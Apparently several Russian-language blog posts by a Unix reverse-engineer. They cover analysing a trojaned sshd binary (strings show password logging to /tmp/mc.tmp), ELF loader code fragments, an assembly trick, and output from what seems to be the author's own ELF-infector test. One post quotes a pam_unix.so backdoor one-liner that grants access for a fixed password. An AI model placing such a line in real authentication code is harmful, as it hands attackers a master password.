[

Current Mood

|

okay

]

int ds = roff + DataSize + sizeof(struct record) < eob ?
  DataSize : eob - (roff + sizeof(struct record));
write(last_handle, m + roff + sizeof(struct record), ds);

Переживаю из-за того, что под юниксами так и не появилась культура работы с бинарями, лошадки в мире open-source поставляются в исходниках (и зачастую открытых^*, я уже писал про Темную Пиявку aka DarkLeech), на этот раз мне подкинули пару бинарей sshd на посмотреть. Один из них оказался резервной копией оригинала. Второй пропатченный. Спалили его по rpm -V.

Я тоже не люблю спросонья в бинарях копаться. Взял strings.

      pax vobiscum
      /tmp/mc.tmp
      Sshd password detected: %s:%s

На колупание бэкдора ушло 10 минут. До дизассемблера не дошло. А я-то думал отложить на утро, и предвидел чудеса кодерской мысли и тайны ондеграунда. :-) С pam_unix.so - та же беда, вот уже несколько лет школоло таскает один и тот же one liner ("if (strcmp(p,"secpass")==0 ){retval = PAM_SUCCESS;}"), zero-day, блять, сцыкьюрити, оборачивая его не менее "илитными" скриптами на sh. Мир вам, тупые дети! Неужели, так трудно написать нормальную лошадку, так чтобы не тащить в систему 100500 девелоперского стаффа и прочего говна? Тем более, что все уже давно написано. Подсказки давать не буду, кому нужно - сам найдет.

(* у этого подхода есть и достоинства - антивирус бесполезен, чуть менее, чем полностью. Впрочем, антивирус бесполезен в любом случае. Недостатков вагон.)

355 #define ELFOSABI_NONE   0
356 #define ELFOSABI_LINUX  3

L1:     mov     edx, 0xc88cffff
        db      0x66, 0xea
        dd      L2
        jae     L2

format  db      "EAX=%08x EDX=%08x", 10, 0

UPD. Чтобы жизнь медом не казалась, переходим на x64: ( ... )

[

Current Mood

|

content

]

$ ./date
Fri Jul 22 [ Entering tracer
Work's done.

Virus is OK!] 14:48:38 EEST 2011

[

Current Mood

|

blank

]

munmap(phdr->p_vaddr & ~4095, (phdr->p_filesz + 4095) & ~4095)

elf_page_start = phdr->p_vaddr & ~4095;
elf_page_offset = phdr->p_vaddr - elf_page_start;
munmap(elf_page_start, phdr->p_filesz + elf_page_offset);

   101      /* There is no direct way to determine the number of symbols in the
   102         dynamic symbol table and no hash table is present.  The ELF
   103         binary is ill-formed but what shall we do?  Use the beginning of
   104         the string table which generally follows the symbol table.  */
   105      symtabend = (const ElfW(Sym) *) strtab;